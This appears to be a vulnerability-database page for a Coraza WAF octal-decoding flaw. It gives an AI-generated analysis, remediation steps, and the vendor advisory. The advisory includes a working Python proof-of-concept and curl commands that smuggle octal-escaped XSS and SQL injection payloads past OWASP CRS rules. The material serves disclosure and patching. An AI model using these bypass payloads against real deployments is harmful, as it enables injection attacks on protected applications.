Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend request with \ooo octal-escaped XSS/SQLi payload
-
ExploitjsDecode off-by-one decodes octal escapes to null bytes
-
ExecutionWAF normalization rule fails to match, request allowed
-
ImpactBackend application parses payload and executes XSS/SQL injection
Vulnerability Assessment
| Weakness |
CWE
|
| Exploitation Conditions | Exploitation requires that the Coraza deployment have active WAF rules that apply the t:jsDecode transformation for payload normalization (e.g. the OWASP Core Rule Set, as used in the confirmed PoC with SecRuleEngine On and SecRequestBodyAccess On); rules that do not call jsDecode are unaffected. The attacker must encode the malicious syntax as JavaScript octal escape sequences (\ooo), and - critically - the protected backend application must independently parse those escapes and be vulnerable to the resulting payload (XSS, SQLi, etc.), since the flaw only hides the payload from inspection rather than creating a new sink. No authentication or user interaction is needed to send the request (PR:N/UI:N). Primary limiting factors: reliance on jsDecode-based rules (not universal) and the requirement that the downstream application itself be exploitable. |
| Impact | Signals are mostly consistent and point to a moderate, not urgent, priority. CVSS 3.1 is 5.8 (Medium) with AV:N/AC:L/PR:N/UI:N, so a remote unauthenticated attacker can trigger it with a single crafted request against default behavior of the parser - but the vendor deliberately scored only I:L with S:C because this is an inspection bypass, not direct code execution: the impact lands on the protected application, which must itself be independently vulnerable to the smuggled payload. POC status is YES (full working Python PoC and curl proof embedded in the advisory), so publicly available exploit code exists; however it is NOT in CISA KEV and no EPSS score was provided in the input, so there is no evidence of active or widespread exploitation - treat exploitation likelihood as unquantified rather than high. No SSVC decision data was supplied. The one caveat: the vector shows AV:N/PR:N (remote, unauthenticated), but real-world exploitability is gated by a deployment condition not reflected in the base score - the bypass only matters when WAF rules that call t:jsDecode are active (e.g. OWASP CRS) and the backend is exploitable. Net: a genuine but conditional WAF-evasion defect, appropriately rated Medium rather than a high-urgency flaw. |
| Exploit ScenarioDerived | An attacker encodes an XSS or SQLi payload using JavaScript octal escape sequences (e.g. <\163\143\162\151\160\164> for <script>) and sends it in a normal HTTP request. Because jsDecode mis-decodes every octal escape to a null byte, the Coraza/CRS rule inspecting the normalized value never matches, and the request passes while the downstream browser or application still interprets the escapes as the real attack. A public, working PoC (Python + curl, confirmed against Coraza v3.7.0 with OWASP CRS) is included in the advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Oct 08, 2026
Encoding-handling flaw in Coraza WAF 3.0.0 through 3.7.0 corrupts the output of the t:jsDecode transformation whenever a payload contains JavaScript octal escape sequences, allowing attackers to smuggle XSS or SQL injection syntax past WAF rules that depend on jsDecode for normalization. Because the transformation emits null bytes (and, for high bytes, clamped or saturated values) instead of the real decoded characters, a rule that inspects the transformed value never sees the attack string, while the downstream browser or application does decode it correctly and executes it. The estimated severity is CVSS 5.8 (AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N), exploitation requires that the deployment actually load jsDecode-based rules such as the OWASP CRS and that the protected application itself be vulnerable to the hidden payload; there is no confirmed active exploitation (not listed in CISA KEV), although a reproducible proof-of-concept script does accompany the advisory, and no authentication or user interaction is needed to send the request.
RemediationAI
Vendor-released patch: 3.8.0 (https://github.com/corazawaf/coraza/releases/tag/v3.8.0), which contains commit f9b7afdbcedce7ad814663eaee2e342578ea3bb2; upgrade the Coraza dependency or server binary to 3.8.0 or later, and verify the fix end-to-end with the advisory's payloads (\163\143\162\151\160\164 should normalize to script and \47\117\122\40\61\75\61 to 'OR 1=1). If an upgrade cannot be performed immediately, backport the change manually: in internal/transformations/js_decode.go index the buffer as input[i+1+j], guard the continuation check with i+1+j >= inputLen || !isodigit(input[i+1+j]), and parse with strconv.ParseUint(string(buf), 8, 8) so high bytes \200-\377 decode instead of clamping, and in internal/transformations/escape_seq_decode.go widen the octal parse to strconv.ParseUint(input[i+1:i+j], 8, 16) so values above \377 wrap to their low byte rather than saturating to 0xFF. As a compensating control when patching is not possible, temporarily disable rules that rely on the t:jsDecode transformation or remove jsDecode from their transformation chains - the trade-off is that legitimate obfuscated payloads in those rules will no longer be normalized and detection coverage for other encodings degrades - and lower SecRuleEngine to DetectionOnly for those rules while monitoring logs, understanding that this removes blocking rather than fixing the decoding error. Because the flaw only hides a payload from inspection and does not create a new sink, also ensure the protected application independently validates and encodes input so that a bypassed WAF rule does not translate directly into XSS or SQL injection; blocking port-level or endpoint-level access is not a practical mitigation here since the vulnerable component is the inspection engine itself. Full details are in GHSA-pc5q-qfxp-ggqv (https://github.com/corazawaf/coraza/security/advisories/GHSA-pc5q-qfxp-ggqv).
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 4 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Coraza is a Go-based WAF engine (Go module go/github.com/corazawaf/coraza/v3, CPE pkg:go/github.com_corazawaf_coraza_v3) that normalizes request data through transformation functions before evaluation against SecRules. The t:jsDecode transformation emulates JavaScript string-literal escape decoding, including the legacy octal escapes (\ooo) permitted by ECMAScript Annex B in non-strict string literals, and it must therefore convert \000-\377 into single bytes. The bug is classified as CWE-172 (Encoding Error): in internal/transformations/js_decode.go the octal branch indexes the input with buf[j] = input[i+j], but the loop variable i still points at the backslash, so the backslash itself is copied into the parse buffer and the subsequent strconv.ParseInt(string(buf), 8, 8) fails and silently yields 0 (the error is discarded with _). Two related defects were found during verification: the same branch used a signed 8-bit parse so values \200-\377 would clamp to 0x7f even after the index fix, and the sibling escapeSeqDecode transformation parsed up to three octal digits with an 8-bit unsigned width, causing values above \377 to overflow and saturate to 0xFF instead of wrapping to their low byte as ModSecurity's strtol(...) & 0xFF does. The shipped fix corrects the index arithmetic and digit-continuation check, switches to strconv.ParseUint with bit size 8 in jsDecode, and widens the escapeSeqDecode parse to 16 bits before truncation, with regression tests covering the full \000-\777 range.
Know when Go gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
Remote unauthenticated single request (AV:N/AC:L/PR:N/UI:N); the inspection bypass impacts the protected downstream app (S:C) with only integrity relevance (I:L), no direct C or A impact.
Primary rating from Vendor (https://github.com/corazawaf/coraza).
CVSS VectorVendor: https://github.com/corazawaf/coraza
DescriptionCVE.org
Summary
The t:jsDecode transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing strconv.ParseInt to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on jsDecode for normalization are enabled.
Therefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (\ooo) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.
Details
Vulnerable code: internal/transformations/js_decode.go:64-70.
case (i+1 < inputLen) && isodigit(input[i+1]):
/* \OOO (only one byte, \000 - \377) */
buf := make([]byte, 3)
j := 0
for (i+1+j < inputLen) && (j < 3) {
buf[j] = input[i+j] // this should be `input[i+1+j]`
j++
if !isodigit(input[i+j]) {
break
}
}This is because, when entering octal mode, the loop variable i points to the backslash character \. Before entering octal mode, the pointer does not cross the backslash (unlike in the \u and \x cases, where i+N is used as the index). Line 65 uses input[i+j], so when j=0, the backslash character itself is copied to buf[0]. The subsequent call to strconv.ParseInt(string(buf), 8, 8) will fail because \ is not a valid octal digit; it therefore returns 0 and raises an error (which is silently suppressed by _), resulting in the loss of the bytes that were supposed to be decoded.
For example, Input \163. The loop starts with j=0: buf[0] = input[i+0] = ‘\’ (the backslash itself). The counter j is incremented to 1. Since isodigit(input[i+1]) = isodigit(‘1’) is true, the loop continues. When j=1: buf[1] = input[i+1] = ‘1’. The counter increments to 2; isodigit(input[i+2]) = isodigit(‘6’) is true. At this point, j = 2: buf[2] = input[i+2] = ‘6’. The counter increments to 3, at which point the loop condition j < 3 is no longer satisfied. Final buffer: buf = [‘\’, ‘1’, ‘6’]. The buffer is truncated when j = 2 (because buf[0] = ‘\’ > ‘3’), leaving [‘\’, ‘1’].
This error affects all octal escape sequences (from \000 to \377). Each sequence is decoded and displayed as 0x00 instead of the expected value. For example: \377 is normally decoded as \xff or 255
// Bug: buf = ['\', '3', '7'] to string(buf) = "\\37"
nn, _ = strconv.ParseInt("\\37", 8, 8) // nn = 0
// Correct: buf = ['3', '7', '7'] = "377"
nn, _ = strconv.ParseInt("377", 8, 8) // nn = 255 = 0xFFPoC
Test Environment
Coraza WAF v3.7.0 is configured to 127.0.0.1:8090, SecRuleEngine is set to On, SecRequestBodyAccess is set to On, and the complete OWASP CRS rule set has been loaded.
PoC Executable Script
#!/usr/bin/env python3
import urllib.request, sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8090"
normal_url = f"{TARGET}/?q=%3Cscript%3E"
octal_url = f"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E"
print(f"[Normal XSS: {normal_url}")
try:
urllib.request.urlopen(normal_url)
print(" Response: 200 ")
except urllib.error.HTTPError as e:
print(f" Response: {e.code}")
print(f"\nBypass JS octal-escaped XSS: {octal_url}")
try:
urllib.request.urlopen(octal_url)
print(" Response: 200 (BYPASS)")
except urllib.error.HTTPError as e:
print(f" Response: {e.code}")output:
Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E
Response: 403
Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E
Response: 200 (BYPASS)Proof
- Normal Test
curl -v -s "http://127.0.0.1:8090/?q=%3Cscript%3E"
< HTTP/1.1 403 Forbidden
< Date: Wed, 01 Jul 2026 16:09:04 GMT- Bypass Test
curl -v -s "http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E"
< HTTP/1.1 200 OK
< Date: Wed, 01 Jul 2026 16:09:04 GMT
< Content-Length: 39
< Hello world, transaction not disrupted.- Log Proof
2026/07/01 16:09:04 [DEBUG] Transaction finished tx_id="<txid>" is_interrupted=falseImpact
Attackers can bypass WAFs that rely on the t:jsDecode transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities.
Real-world attack scenarios:
SQL injection bypass. A rule using t:jsDecode received \47\117\122\40\61\75\61 (i.e., ' OR 1=1). This octal string decodes to \0..., so the rule did not match the SQL injection pattern.
Affected Versions
Coraza WAF v3.0.0 - v3.7.0
Resolution
Fixed in internal/transformations/js_decode.go's \OOO octal branch, plus two related issues found and fixed while verifying the patch - the actual shipped fix is broader than the single-line change originally proposed:
- The reported off-by-one (
buf[j] = input[i+j]→buf[j] = input[i+1+j], with the digit-continuation check updated toinput[i+1+j]accordingly): confirmed and fixed exactly as described above. - A related high-byte clamping bug in the same branch: the decoded value was parsed with
strconv.ParseInt(string(buf), 8, 8)- a *signed* 8-bit parse. Octal values\200-\377(decimal 128-255) exceed the signed int8 range, so even after fixing the indexing bug, those high bytes would still fail to parse and clamp to0x7finstead of their real value. Fixed by parsing as unsigned (strconv.ParseUint(string(buf), 8, 8)), so the full\000-\377range decodes correctly. - A related overflow-saturation bug in the sibling
escapeSeqDecodetransformation (internal/transformations/escape_seq_decode.go), discovered while auditing the same octal-parsing pattern elsewhere in the codebase. UnlikejsDecode,escapeSeqDecode's indexing was already correct, but it parsed octal values withstrconv.ParseUint(input[i+1:i+j], 8, 8)- an 8-bit-wide unsigned parse. Since up to 3 octal digits are consumed (\0-\777, i.e. up to decimal 511), any value above\377(255) overflows 8 bits, causingstrconv.ParseUintto return an error and a saturated value of0xFFfor every one of those escapes, rather than correctly wrapping to its low byte (mirroring ModSecurity'sstrtol(...) & 0xFFreference behavior). Fixed by widening the parse to 16 bits (strconv.ParseUint(input[i+1:i+j], 8, 16)) before truncating to a byte, so\400-\777now wrap to their correct low-byte value instead of all saturating to0xFF.
Verified end-to-end: both PoC payloads from this report now decode correctly - <\163\143\162\151\160\164> → <script>, and \47\117\122\40\61\75\61 → 'OR 1=1 - so a downstream WAF rule inspecting the transformed value now sees the real, intended content instead of null bytes or clamped/saturated garbage.
Extensive regression tests were added covering the full octal range (including the \200-\377 high-byte range and the \400-\777 overflow range for escapeSeqDecode), the pre-existing digit-count/truncation edge cases, and both PoC payloads verbatim.
Mitigation
Upgrade to the patched release once available. If upgrading isn't immediately possible, the specific code change is:
for (i+1+j < inputLen) && (j < 3) {
buf[j] = input[i+1+j]
j++
if i+1+j >= inputLen || !isodigit(input[i+1+j]) {
break
}
}
...
nn, _ := strconv.ParseUint(string(buf), 8, 8)Severity (revised 2026-10-02)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N (5.8, Medium).
Attack Complexity is Low: JavaScript engines decode legacy octal escapes in non-strict string literals (ECMAScript Annex B), the standard behaviour jsDecode emulates, so the request alone triggers the discrepancy. The previous vector (S:U/C:L/I:L, 6.5) scored Confidentiality and Integrity separately for what is a single inspection bypass.
Impact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.
_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, "CVSS preconditions get verified, not copied from the report") and drafted this text. A human maintainer (fzipi) chose the S:C/I:L impact convention and directed this update._
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
The net/http package in Go through 1.6 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and there
Critical certificate validation bypass in Go crypto/tls during session resumption. If ClientCAs or RootCAs fields are mu
net/url in Go before 1.11.13 and 1.12.x before 1.12.8 mishandles malformed hosts in URLs, leading to an authorization by
Casdoor through 4.4.0 exposes its instance-wide built-in JWT signing private key unmasked through the /api/get-certs and
Host header injection in Nezha 2.2.3's OAuth2 redirect endpoint (/api/v1/oauth2/{provider}) allows an unauthenticated re
Session cross-wiring in SUSE NeuVector before 5.6.1 allows an unauthenticated remote attacker to obtain another user's a
Unauthenticated path traversal in Uber Kraken through 0.1.29 allows remote attackers to read files outside the configure
The "go get" implementation in Go 1.9.4, when the -insecure command-line option is used, does not validate the import pa
Denial of service in Temporal Server allows an authenticated caller holding at least namespace read permission to crash
Account takeover in Klever-Go's KleverUpdateAccountPermission built-in (all versions prior to 1.7.20) allows an attacker
Maliciously crafted on-chain account names processed by Klever-Go prior to 1.7.20 are spliced into Elasticsearch _bulk r
EUVD-2026-97825
GHSA-pc5q-qfxp-ggqv
NVD
CVE.org
EPSS
Exploit-DB